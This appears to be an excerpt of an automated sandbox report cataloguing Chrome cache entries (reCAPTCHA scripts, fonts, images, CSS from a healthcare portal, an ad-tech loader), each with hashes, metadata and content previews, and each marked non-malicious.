SHA-512:	A83C1B73E941495CAB2C9A86D20862B3641E38035550898DCC05254B86D7BAA0A8C69E2D8039AF02A5E4B6300DAA8AF668F9C9D1C89EC59FFB13E11438B57CE6
Malicious:	false
Reputation:	low
URL:	https://www.google.com/recaptcha/api.js?onload=ctctOnLoadCallback&render=explicit
Preview:	/* PLEASE DO NOT COPY AND PASTE THIS CODE. */(function(){var w=window,C='___grecaptcha_cfg',cfg=w[C]=w[C]\|\|{},N='grecaptcha';var gr=w[N]=w[N]\|\|{};gr.ready=gr.ready\|\|function(f){(cfg['fns']=cfg['fns']\|\|[]).push(f);};w['__recaptcha_api']='https://www.google.com/recaptcha/api2/';(cfg['render']=cfg['render']\|\|[]).push('explicit');(cfg['onload']=cfg['onload']\|\|[]).push('ctctOnLoadCallback');w['__google_recaptcha_client']=true;var d=document,po=d.createElement('script');po.type='text/javascript';po.async=true;var m=d.createElement('meta');m.httpEquiv='origin-trial';m.content='Az520Inasey3TAyqLyojQa8MnmCALSEU29yQFW8dePZ7xQTvSt73pHazLFTK5f7SyLUJSo2uKLesEtEa9aUYcgMAAACPeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZS5jb206NDQzIiwiZmVhdHVyZSI6IkRpc2FibGVUaGlyZFBhcnR5U3RvcmFnZVBhcnRpdGlvbmluZyIsImV4cGlyeSI6MTcyNTQwNzk5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0=';d.head.prepend(m);po.src='https://www.gstatic.com/recaptcha/releases/QoukH5jSO3sKFzVEA7Vc8VgC/recaptcha__en.js';po.crossOrigin='anonymous

Chrome Cache Entry: 263

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 9 x 9
Category:	downloaded
Size (bytes):	60
Entropy (8bit):	4.3024795538336775
Encrypted:	false
SSDEEP:	3:CMjRYaEQESxlAnL/E:/jR7ESjAnLs
MD5:	E917D93DD863553A3226AFD51B4353E6
SHA1:	54D9537A8EA70EB087D7EE7F8B1793B57EA86984
SHA-256:	4C6F81132971A9402921578BB989BE686920C2E6E725738641F8EDD352086A57
SHA-512:	8E74057682F0B455FFAA4774167BECF258579F4CD7672955F65FCD48A7C1BF23C35FBBAB2AB4CB19AFE28E622F261F3CFDE82267AC5F31A17E98106665067925
Malicious:	false
Reputation:	low
URL:	https://calendar.google.com/googlecalendar/images/menu_arrow_open.gif
Preview:	GIF89a.............cec...!.......,.............y...IV..(.;

Chrome Cache Entry: 264

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.02, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 300x300, components 3
Category:	downloaded
Size (bytes):	41910
Entropy (8bit):	7.957751828181428
Encrypted:	false
SSDEEP:	768:agvHsKKjH8doG6X0HXbvLj+Q0521O23dBUm+3HRhzdd8bTbM:aqVKLUDBQib3+HRLaPbM
MD5:	379791A32D8871C4A40ADFED4FF492DC
SHA1:	7D6DAECF34D7070BAC02D7D1B02551FE42E6C909
SHA-256:	5488ADE6A30069D4A712C966D5C2977B01886D81F5C8357B5644280E194A81FB
SHA-512:	9A95FF6F6EAA92DE618CE811FC00525C4BB94BCF0AFF4A24D2791EE790E6FDCEAD66DE56CB1EDD2F5FCD68ED5CF816F663D6A37E52060250961ED6C6F5595D5F
Malicious:	false
Reputation:	low
URL:	https://www.google.com/recaptcha/api2/payload?p=06AFcWeA6hHP6s1zynjYsXVufOgf4V29uZVjpCw0OhsZUN6GyY38r3KkHPQ-Fq3ZWwTNzx3gUyqIypGujbxTukbAXfsYdudixMkyZUEiNN3Yt2dQbAnrHduECGQR9eAbsvKZQ8dhU7AiV-HNFnqAvMHj9zq3uY1wur7d0zk9ON6jCU29x8XEjlN9daEWeTuLL7A00ipd4AF-Mt&k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr
Preview:	......JFIF.............C..............................................!........."$".$.......C.......................................................................,.,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.n..Aa1.N7bI.g..Q........9...e.i./qea!.wYp.....$.._lT..G...u..xeR.a.>......y..]?.<1..WS..G./4..999.F...}.....9..b..Xx.N.o...3......P.u.... .'...8..f.mO..)..h.......Kc<...t...+.G..&.7..</i\|c.V&..uE..i=....\..4s.M..t.;%.?/..^...Nz..._J..F6......K..{.....q.j.....2. .. .r.....p}.Z...V...v.d.H.P. f.K0.1.<.y.q.+...]....Y&.(..rg#..H.#..]....F.....T....NH.

Chrome Cache Entry: 265

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2270
Entropy (8bit):	7.6578853455434714
Encrypted:	false
SSDEEP:	48:tE/6xbywCIQBTAynWk/xaV+yK2Iehm0SdeI405wlvNq5EthGF7D4FNAnklfVi:6SNL5QBEyn5oIe0PdeIFQvRhGF7kl4
MD5:	4F2FE78AD7F84818A5175447531CF54D
SHA1:	C8C98CD7DB51284B8A688F90A0A898883395AD5C
SHA-256:	47421EC42F35B25C751B4D22F78BCBFB96FA34093A8E41A49CA798944B805AC8
SHA-512:	1AD414238D6F2AD7471B5ABF1F096D803BB1F698DC5516D6B378D6AC4697D4889E1A44E3A7B62B29B95F7B02B5FF591FA4F92DD6371204CEEB9DCE38B9C8C35A
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/themes/vpchc/images/favicon/favicon-32x32.png
Preview:	.PNG........IHDR... ... .....szz.....gAMA......a.....sRGB........ cHRM..z&..............u0...`..:....p..Q<....bKGD..............pHYs................QIDATX..[l\W...u..l./....'..7u.6.I..-..8.%E"j.....TA$CE.'.@..P.\U.T...P5r..%CJ.U.P..n..n..c;....3..3g.p....6...]..ly.......................r .....,...'Q......6.y`.8.\...D....\^.\|........5 ..G_}.c,5W.v..@......z..A.B .......@....._.<}Sef1......\|.x......U.O....@?..... .E...H..ZQ.(..D.?\.z..).U .....{;..0R.r.+.+..b.5.A.N....u.i.vO?z./T..-&K...E.P.x.5.kg.....Vo.\|..[/..L.\|....<.#......-.q.F .\|.x..w.J.~.c...<b...w..k....}..^..G........w......_.~....=@.....\|......".Ub......jJ-&.S"......}S ...~a.....a......+.`.<`M.....H_(.<...^.^.....q3....@...W`v......Te$R.y...Xc...iI...p._...7..}_w+p7..P.....2..,......z......y.o.\|.s1..b...e...~.f...............B,...WW.^..~....^.)O4.xo....F<....Y...".....W.= ............W'W.T..R.pf!.G./.?.... .KEm....S.g/W."..K.Z=..N!.A%f...b..U.O.o.h....c.B...@&A...L...7Z7.\...

Chrome Cache Entry: 266

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2228
Entropy (8bit):	7.82817506159911
Encrypted:	false
SSDEEP:	48:4/6MuQu6DYYEcBDlBVzqawiHI1Oupgl8m7NCnagQJFknwD:4SabhtXqMHyCl8m7N0ag6D
MD5:	EF9941290C50CD3866E2BA6B793F010D
SHA1:	4736508C795667DCEA21F8D864233031223B7832
SHA-256:	1B9EFB22C938500971AAC2B2130A475FA23684DD69E43103894968DF83145B8A
SHA-512:	A0C69C70117C5713CAF8B12F3B6E8BBB9CDAF72768E5DB9DB5831A3C37541B87613C6B020DD2F9B8760064A8C7337F175E7234BFE776EEE5E3588DC5662419D9
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/recaptcha/api2/logo_48.png
Preview:	.PNG........IHDR...0...0.....W.......gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD.......C......pHYs.................IDATh...P....=..8.....Nx. ..PlP8..;.C.1iL#6....Z..!......3.po .o.L.i.I..1fl..4..ujL&6$...............w...........,Z..z. ~.....\.._.C.eK...g..%..P..L7...96..q....L.....k6.....,xz.._......B."#...L(n..f..Yb....8.;....K)N...H).%.F"Ic.LB.........jG.uD..B....Tm....T..).A.}D.f..3.V.....O.....t_..].x.{o..........x?!W...j..@..G=Ed.XF.........J..E?../]..?p..W..H..d5% WA+.....)2r..+..'qk8.../HS.[...u..z.P.....-.A.}.......I .P.....S....\|...)..KS4....I.....W...@....S.s..s..$`.X9.....E.x.=.u.iJ...........k......'...!.a....*+.....(...S..\h....@............I.$..%.2....l......a.\|.....U....y.....t..8....TF.o.p.+.@<.g........-.M.....:.@..(.......@......>..=.ofm.WM{...e..,..D.r.......w....T.L.os..T@Rv..;.....9....56<.x...........2.k.1....dd.V.....m..y5../4\|...G.p.V.......6...}.....B........5...&..v..yTd.6...../m.K...(.

Chrome Cache Entry: 267

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (10103)
Category:	downloaded
Size (bytes):	10104
Entropy (8bit):	5.25927595270407
Encrypted:	false
SSDEEP:	192:LfZB6p87rbM3DM15HYoFIqfTzvAVTwUZ/hRifBHbbQGPVT5hiyhLWS44qpK7ziK:LBB6+M3DMftzGifBHbc2VDisL14XC
MD5:	CD056B72A31972BE87DBBF0927DC2DFD
SHA1:	54C3779E6CFB48D5FDA25F3462B77A0216371FB0
SHA-256:	CFEE63B22A45F4F02E6E6BAA93AF19E68399A72F6EC390F2795E60DBD72988BA
SHA-512:	A765204469A9101444B26D8CFD9B33ECA1BF267A51F8C9E6D4D7866FDE033F433ED307F718343A926CFACC65EE99420C3A834F7E679E31692B8106775F48499C
Malicious:	false
Reputation:	low
URL:	https://js.adsrvr.org/up_loader.1.1.0.js
Preview:	!function(){"use strict";let c=null;const u=["debug","info","warn","error"];let a=u.reduce((e,d,a)=>(e[d]=function(){var e="debug"===d?"log":d;if(c&&console&&"function"==typeof console[e]){var t=u.indexOf(c.toString().toLocaleLowerCase());if(!0===c\|\|-1<t&&t<=a){for(var n=arguments.length,i=new Array(n),o=0;o<n;o++)i[o]=arguments[o];const[a,...r]=[...i];console[e](d.toUpperCase()+" - (TTD) "+a,...r)}}},e),{});function e(e){c=e}let o=null,n=null,r=[],d=[];function t(e){var t=e[0],e=e[1];if("setIdentifier"!==t)throw"method not implemented";f(e)}function l(){i();{let n=o.detectionEventType,e=(r=m(o.triggerElements),m(o.cssSelectors)),i=[];for(var t of e)t&&t.tagName&&"INPUT"===t.tagName&&i.push(t);a.debug("triggers ",r),a.debug("validInputs ",e),d=[],r.forEach(e=>{d.push(e[n])});for(let t=0;t<r.length;t++)r[t][n]=function(){a.debug("Detect event: ",n,"on element, ",r[t]);for(var e of i){e=e.value.trim();if(function(e){var t=/((([^<>()\[\].,;:\s@"]+(\.[^<>()\[\].,;:\s@"]+)*)\|(".+"))@(([^<>(

Chrome Cache Entry: 268

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1536
Entropy (8bit):	4.498355936496123
Encrypted:	false
SSDEEP:	24:2dT7SOu66MMqwwV2H7t0sWutJ9nxtSilE/qXn+RCEcC7lyo+cBaAVNluNLg4amM7:cXSYJzV2HGsWrYE/qXnjEcC7MouRgfmk
MD5:	6A9EAA3F65EBAD781B7F2E51AFFF0719
SHA1:	3F32EBCE613793055796F37DD55C93A7EDAA7065
SHA-256:	08241B2B49100AAD5FD0400CFB23EEA78EC9AB4961BED15441EF42D07049B2C7
SHA-512:	E4CE00F8B15EAD5BD393CF6DEDB22D6973BBE03BCB6DB9ACBC4F7EE2C3EA3FBD31537CCF58FA7394A0354E4E7D103EF61FFB09FB97A49156822853B8E4B7335D
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="utf-8"?>.<svg width="70" height="70" viewBox="0 0 70 70" fill="none" xmlns="http://www.w3.org/2000/svg">..<title>Icon Service</title>.<path fill-rule="evenodd" clip-rule="evenodd" d="M35.2384 69.4768C54.4239 69.4768 69.9768 53.9239 69.9768 34.7384C69.9768 15.5529 54.4239 0 35.2384 0C16.0529 0 0.5 15.5529 0.5 34.7384C0.5 53.9239 16.0529 69.4768 35.2384 69.4768Z" fill="#50C2E0" fill-opacity="0.15"/>.<path d="M44.4471 20.3081C43.6459 19.554 42.6204 19.1918 41.5869 19.1918C40.4235 19.1918 39.2486 19.6505 38.3726 20.5277L37.9967 20.9036L37.6208 20.5265C36.7448 19.6505 35.5699 19.1918 34.4065 19.1918C33.373 19.1918 32.3476 19.554 31.5463 20.3081C29.7839 21.967 29.7529 24.7421 31.452 26.4412L37.9967 32.9859L44.5414 26.4412C46.2405 24.7421 46.2095 21.967 44.4471 20.3081Z" fill="#2DB4D7"/>.<path d="M50.8711 36.3186C49.8652 35.6369 48.68 35.83 47.6304 36.4359C46.5808 37.0417 40.5546 42.1942 40.5546 42.1942L34.6226 42.1954C34.3467 42.1954 34.0478 41.885 34.0478 41.61

Chrome Cache Entry: 269

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	536
Entropy (8bit):	4.926188410334715
Encrypted:	false
SSDEEP:	12:TMHdnzmS5PvW6+3T2F64oHzE3PWLRdSUKJ/ldE/NwlVv:2dzmYXWDIeV0UUdyOv
MD5:	A604A35187FEE0013F6E2868231C83DC
SHA1:	FCD36902A0BF5E2224BA1E2D73C50AD4B3F1D14D
SHA-256:	C8EB2BFF8BF3D1993D374958AEDAC107C0F1135ED436F454BB0FA987471C571C
SHA-512:	4BE176DA911D45DC5E20AA8F8BEAAE28FF4A10961509CD8A22156D0437DB16AC336350256DE8EF8AEF0B1ADEB20FE43108B16A573639B438B77FE277342E696B
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="utf-8"?>.<svg class="d-block adjustable-element" viewBox="0 0 20 15" xmlns="http://www.w3.org/2000/svg">..<title>Icon contact</title>.<path fill="#0e1e4d" d="M19.0217 0.475433L0.829412 7.04968C0.491878 7.17242 0.434344 7.62502 0.729686 7.82447L3.44914 9.68091L15.7922 3.17187L5.34393 10.9735V14.1341C5.34393 14.3489 5.58558 14.4793 5.76585 14.3604L8.06722 12.8338L10.3341 14.3795C10.5412 14.5215 10.825 14.4601 10.9593 14.2453L19.1867 0.678721C19.2557 0.567488 19.1445 0.429406 19.0217 0.475433Z"/>.</svg>.

Chrome Cache Entry: 270

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 15920, version 1.0
Category:	downloaded
Size (bytes):	15920
Entropy (8bit):	7.987786667472439
Encrypted:	false
SSDEEP:	384:sShqOXQlaSchOwK0uFvRqq3xR/xb5OY3aU/lHS9WE2YeK1os:sShJKaScJK0uFvRvxb5OY3aU/lHkmK
MD5:	3A44E06EB954B96AA043227F3534189D
SHA1:	23CEF6993DDB2B2979E8E7647FC3763694E2BA7D
SHA-256:	B019538234514166EC7665359D097403358F8A4C991901983922FB4D56989F1E
SHA-512:	FAB970B250DD88064730BD2603C530F3503ABB0AF4E4095786877F9660A159BF4AD98C5ABEA2E95EB39AE8C13417736B5772FCB9F87941FF5E0F383CB172997F
Malicious:	false
Reputation:	low
URL:	http://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmEU9fBBc4.woff2
Preview:	wOF2......>0.......T..=..........................d.....^.`.. .\..<.................6.$.... .... ..S.!.%c.......\|y...6..;.s#.....x_<..o..........l...J.`p.m..6...h....U.pD...R.J.$...W..`7w...[..qD....<P......J.x.+J-^....va...:.KW..Ph...."....{.W4C....p..1..........CH.....P.............Q%.=.F.....1.%J....d..X..J.<AU..b.N...<l...d...f..^Y..]..&...VQ.<.....F..{.....&{.+J;.... .2P.:.5..?.o.\|....V[t..M..#..d.fv...........4..`.).h..h......@u........4......~.....r.B...p1.P.T..<....r....Y..8...GQ1.t.....%..-Wh..:W.....1l-...@..hL}...lN.._.j...D`..sn.=(...W..?.Z..p.52..H...X...)..CJ...V..7.....<\|..i...{...R.M+[..\|..x-..M3...~!\.l6}.T.o.R'$.)..-.W.T....A...5?.{.2.bR.../....*l..;...{..I>.n..MJ.2........U&. ..(L]].%P.$..p59.LD.f.........V.....z.5~.2\......#.4....9_....%wp.OU.0.....CK..../.x. ..A2e...@...(.i..f./.....`1.......!......@....0 vbt.e v./!...N=>:..A...(...f....?.....iH.F..!k.6.O6S..54.^c..2.G.?6....)b......lv.,h....Y.}.?..uk....L.4d.g..6.\.1u..

Chrome Cache Entry: 271

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 588 x 180, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	5674
Entropy (8bit):	7.737974047886932
Encrypted:	false
SSDEEP:	96:gE9Njr9hPlXxApslnyiy/GZsGSYCrnANTkbCmJpAPhTF:gIrjP8slyiHrgik2mJuP7
MD5:	4D99E214F536B5953C5FC980D6AB1CFF
SHA1:	BD7382A44B3EA17FF85DCC4B9FAE62A71440CE52
SHA-256:	1E0E6ADDAA9626FF28F1274DB498B9733D6665F11706FA4A17C22ED5E9F0B4C2
SHA-512:	92F72AEC9A18E541FDE247A5467D0D0374A0D0809010A1E07CF2CDD54D95FC1CD1BD69641508D4ACD6CF1F393A4A696DF86D8CACF7B4D9756068A9D48E34A774
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...L.........Q.....PLTE...e........f....................v.33333P.............M.....I......D.....sss..s...]ed.........Mh............Th....b\|.....;&......;D.......;JO.........c`.f.............do{............VV.@_....QQQ...................................................................................................ff.s..r..e.e..X..d..K.Q..?..L..?.?.L.................\|...V..Q].D.`?.Sl.6@.<.[\.2~.%..(......d..M..&q.C.E..A...6.--.Dw.D.f3.3f.3f."..3.f........U..pp.m.bt.p..\....Q..Y.3..-8.!.@!u0H~.!..u<=..Z...p..Z..E.t5...Pp#.%a}".c...:.#....tRNS.@..f....IDATx.....6....Y{-..ww...1D6......b....<.\|......W;l.I...Bh..nV...N.:..UY.&c:-...v.T..N.0....n.L.:...&cB..jL...ML.1q.....L.JL.2L.#Lb5...L$KL$g..0.....B.1q..C9&.f..0.....5.6.5....DeL3..CM..Z...#..0.inQ....D..L.~..u;.....e.3....S.S..S..0i.R.Hc..:l.h..U;x.rY.v.N....S.`i........~...9._.bL....p.u.Em...p.7........%a2&..os[c.^5`L......-.i.#.u......L.........?.m.77b....

Chrome Cache Entry: 272

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 15920, version 1.0
Category:	downloaded
Size (bytes):	15920
Entropy (8bit):	7.987786667472439
Encrypted:	false
SSDEEP:	384:sShqOXQlaSchOwK0uFvRqq3xR/xb5OY3aU/lHS9WE2YeK1os:sShJKaScJK0uFvRvxb5OY3aU/lHkmK
MD5:	3A44E06EB954B96AA043227F3534189D
SHA1:	23CEF6993DDB2B2979E8E7647FC3763694E2BA7D
SHA-256:	B019538234514166EC7665359D097403358F8A4C991901983922FB4D56989F1E
SHA-512:	FAB970B250DD88064730BD2603C530F3503ABB0AF4E4095786877F9660A159BF4AD98C5ABEA2E95EB39AE8C13417736B5772FCB9F87941FF5E0F383CB172997F
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmEU9fBBc4.woff2
Preview:	wOF2......>0.......T..=..........................d.....^.`.. .\..<.................6.$.... .... ..S.!.%c.......\|y...6..;.s#.....x_<..o..........l...J.`p.m..6...h....U.pD...R.J.$...W..`7w...[..qD....<P......J.x.+J-^....va...:.KW..Ph...."....{.W4C....p..1..........CH.....P.............Q%.=.F.....1.%J....d..X..J.<AU..b.N...<l...d...f..^Y..]..&...VQ.<.....F..{.....&{.+J;.... .2P.:.5..?.o.\|....V[t..M..#..d.fv...........4..`.).h..h......@u........4......~.....r.B...p1.P.T..<....r....Y..8...GQ1.t.....%..-Wh..:W.....1l-...@..hL}...lN.._.j...D`..sn.=(...W..?.Z..p.52..H...X...)..CJ...V..7.....<\|..i...{...R.M+[..\|..x-..M3...~!\.l6}.T.o.R'$.)..-.W.T....A...5?.{.2.bR.../....*l..;...{..I>.n..MJ.2........U&. ..(L]].%P.$..p59.LD.f.........V.....z.5~.2\......#.4....9_....%wp.OU.0.....CK..../.x. ..A2e...@...(.i..f./.....`1.......!......@....0 vbt.e v./!...N=>:..A...(...f....?.....iH.F..!k.6.O6S..54.^c..2.G.?6....)b......lv.,h....Y.}.?..uk....L.4d.g..6.\.1u..

Chrome Cache Entry: 273

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 7968, version 1.0
Category:	downloaded
Size (bytes):	7968
Entropy (8bit):	7.973117694570131
Encrypted:	false
SSDEEP:	192:o1Hi5IkoXECiGtPK+E5Bsys7QFExxytuG1pQcQdFS:A1kFEtCn5Bsy5FExxi1pQcSS
MD5:	1A280523D375E9358D5229DF34FC8E94
SHA1:	EEC7A97BC1319B123A7ADDB438FA8A231469B511
SHA-256:	FAB32CCEF85408B763C899AD7C0B910C96C76DC9ED7158CE304FDCD3C0BF8388
SHA-512:	1F4D5BCFB6AF357CC40286ABE8F7FEB5786B921C57CA2B59062A5204A5F305E76BF2068D515BD80CE9AC86C0059938CE4168C037D44B06BB383018A2290BED81
Malicious:	false
Reputation:	low
URL:	https://www.healowpay.com/HealowPay/jsp/js/assets/fonts/poppins-regular-normal-latin.woff2
Preview:	wOF2....... ......>.............................. .0.`..T....h....6..6.$..h. ..$.....1......DQ../.l"0}.....5..1...Mf\X..<..!...C..FC(....._Z...If[......yo.F!..pH.........G9..f$.......,.JkV..r.GR.v.....u...in..D......E..m...m....bI...6mb..........a5.x......Go\|.m".qO...qK.P....>.....>.C`..g-./."xXk74Wi'............0e.&..'3..g.....=.d....<%)..W..<.....0.B...p.&k.!...il,..x..c....f.9j.x.).~..@S.%..9[..a$.. n.....~.&.H...q.u.:...y!....y..)....FV...........G......M...]...T@{.0h..<...\|.@....b..I....S.R.Rf.d....).Rg.1;..{..T.v.....p`._jQ......~.;o.}.....cG.....[?.\|,7~...._..B...{.b_W.}..dZL....j$..........D.B..5..A....\|...Y......\|H.b...p.....e&eH..e.e..Hs.yu8<{...@.88AO...4..J.....-. ..4..j........pV..&,...I......u..e2+..u..oQ.T.....+.ff(-.))...%..Rw.YLf.....m...4..-..T.....&.......Ey=Y4.70... +.l@.....a.Ke.....R...y:...h.(j....O./.m.#...(.R.....9.YF..).5.5.^S R..1.h....V.5f.h[..s..Q$......clh.......k...R...{..Lb.`..\|J.~@..9...

Chrome Cache Entry: 274

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 1-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	82
Entropy (8bit):	4.342540020711713
Encrypted:	false
SSDEEP:	3:yionv//thPlE+kSI+DtmyTQixqtQAltjp:6v/lhPfkCDtmyT3xWVXjp
MD5:	272E7FE9A92E7D800DF94406429E31B5
SHA1:	AE64BBDCC69A9D29090A26B9F6E20AE9DA04662C
SHA-256:	E91C50EBBDA61015CB1EE8070CC7A758D048B76084956A1A3995BFF1A6D8C9B4
SHA-512:	607E1DB4EA89F3BB1445B00D343B9B38A21BC25ED551817C2C28EE3E0A678A6170A01487C4760979D6EA1041B658125788C45234B37D58FDD3A3373262E9047B
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............%.V.....PLTE...........IDAT..c`........5.....IEND.B`.

Chrome Cache Entry: 275

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 169 x 520, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	54996
Entropy (8bit):	7.990319247106949
Encrypted:	true
SSDEEP:	1536:SyhcyNEJ3e/YfJ2ZKL1kWaokKGoUUPrBSHOvoE5:t2y+HxlpsE5
MD5:	89C95031B56B90591FD4EF80558F8C25
SHA1:	9599F52C93B38F3E68686F299B3184BE0A9DE63A
SHA-256:	D64C12A76A61096F3A14AA795D12C3FC0DE8E5781EF2E1AF3B66517E65D7F00E
SHA-512:	7E03B61206FBCCD249CF45BFD67546BC0AD025DB9542FEE774414E222E93926B3842A0821E2579AE14395163D7749CAFD90CD8AEE27B14F75FE3F49083FB010F
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR................M....bKGD..............pHYs.................tIME......!ZB3... .IDATx..y..U...>Uu.^.I..%...K....B@...........qt...3_...F...wE.c........$$@.Ig.w..........{.vP.....u..P..:.<...y>..T.:.Nu.S..T....B8G\|.?.8\~.B.w........>.M...m.....p..+b.#Gr..o.?....XP..B...x.w..c.<...\|.l......u..?......G..v......q..rh.P`2......_..AX`..g-d4h..T..?\|....i.....xK.K...3.z7.......i.......f\|K...9@.......R..z..Of.........A..Bk.R(.E..:.`....H..Q.5)...\..w....D..8X..............4Zk..hm0R.\..w......ME.(.3.KN.$c..N...`..K.,,.a..F....4._K\..]RV.e..mE.>0w...\.;.D$..X.,..S.T.}..c\...#S).-.2N...N....C..Y".. ..h.b.&..k.+.y)I..g_..........yPp..IJX.&...Fi.5........h...hrF.....f...8....H:.....>..7..n....cN..s..>`2....yC.g@..R5M`p........[.z.}.%.N..M.......i...\|...d.!k4qa........o...k....z.`0i.02.).r.........?....V....m.yf..........5..J.[[..W.g..Y.....Ik.l@...:...W...\|..sN........4...gv.Wva.'.. .........-.Y..^.G.@...3p........m.k...U.

Chrome Cache Entry: 276

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 7900, version 1.0
Category:	downloaded
Size (bytes):	7900
Entropy (8bit):	7.972884114843751
Encrypted:	false
SSDEEP:	192:p7uo9HQkQLb61fpJohI/gCvwsd2pbbhKn:p7v9wkYbkfpJPIqdyhK
MD5:	9ED361BBA8488AEB2797B82BEFDA20F1
SHA1:	6F80D965A066AFF81C0A344D4B7297BD009CC099
SHA-256:	41E46FAFF74C6A77D581689EC35EB040F6C96D17F4D2C5B25DCCD42ED498B01C
SHA-512:	A445D1850D9A03B32944586B426C1EB0E3CD42AD24D4C029E993F37C11CD24680FE9C354425A9D6A84FEF27A9E06704108D845F74C204C5BEC5A95F50CF50BD6
Malicious:	false
Reputation:	low
URL:	https://mycw108.ecwcloud.com/portal14763/ss/fonts/newLogin/devCustomFonts/pxiEyp8kv8JHgFVrJJfecg.woff2
Preview:	wOF2..............?.............................. .0.`..T..L.6..6..6.$..h. ..\.....2.".8. .w.E."....n.p.M$DDxUU.o..0.#1.g.?_.p..!./T.....X..xLW.s....$......k.s.[...Wk"...>]+......3Y,$.....6{.36..=..J.?..H.'..+X9s...v...v....z.....z..^...."."h.....P.L...C..0...p....&o......R....q.....)...r....{.HE....ig.KT..0.-.%.z......9.\|.A..\|X..+%)....2&%$.nm.\.._.e.t5...n\..G...o.2.59..}C.I.9..K..l..)j.%..X..%K.v."b.."...D;..`..y.$H..V..h.E/.E..}.v.5.[...~.....X<GW.+..(ppWD..f.Km....6@.w?`..@....F..D..9z,c.....jL=.......&bS...l,.+..9..>}..@.....q...xl...j...<>......>...._........._....W./..\|.. .b...U>...l....!0.....>... ..@1.5...Y..xS..;..._..[.%a..&).raj.....w0 ...s....<...00.sg.f.4.0>_g....-.....FX;.........<...S.....!-`{...j#.I...B..(%.R.......;..U.U...1S..M.V-(...j....7.z.l;b..p.MZ.X......:E....*+^....."s.B....e,.=...PkyK..P.k..g......j.Oi[.6..qa..}.w..-Zx...X.,.`.... ...-KH..x....9.....%n3....t.z.....nT....5..... .t..ry.....2.~l....5..[.r....G......

Chrome Cache Entry: 277

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	31803
Entropy (8bit):	4.549382103090332
Encrypted:	false
SSDEEP:	768:4rr9typuCtpYe36i9wYF2FZ/a3ZbcyFMKXKM:4rr9tyqe36i9wYkqbcy2KXKM
MD5:	7DA2E94927795607748124C43655A234
SHA1:	DEA467714DD424F850999DFD04D7459760C74103
SHA-256:	C592959C3DBC00F0F7F3C3C3EAEF09AC9EE256FA6617DEA8AF93752B0BD8B59C
SHA-512:	0461DB44575CA15016A37E388EB1C1A52A43EC725D99B0BB49F224D931B106233072EB3884F85B6494875A306A61844036BAE2BF1F62DCE663DD084D20C1B5AE
Malicious:	false
Reputation:	low
URL:	https://mycw108.ecwcloud.com/portal14763/ss/newLogin/media-layout.css
Preview:	@media (min-width: 320px) and (max-width: 768px) {. .h-wrapper{. background-image: url('../../images/newLogin/vector-sm-landing.png');. background-position: top right !important; . }. .h-wrapper.s-wrapper{. background: url('../../images/newLogin/vector-small-search-wrapper.png') bottom right no-repeat fixed #EDF9FC !important; . }. .h-wrapper.practice-wrapper{. background-image: url('../../images/newLogin/practice-landing-vector-mobile.png') !important;. background-position: top right !important; . }. .h-wrapper.practice-wrapper.p-search-wrapper{. background: url('../../images/newLogin/practice-search-vector-mobile.png') top right no-repeat fixed #fff !important; . } . . .h-wrapper .header-wrapper,. .h-wrapper.practice-wrapper .header-wrapper {. padding: 0px 5px 10px;. }. .h-wrapper .navbar-light .navbar-toggler {. border: 0;. padding: 0; . }. /*

Chrome Cache Entry: 278

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3098
Entropy (8bit):	7.88701385219321
Encrypted:	false
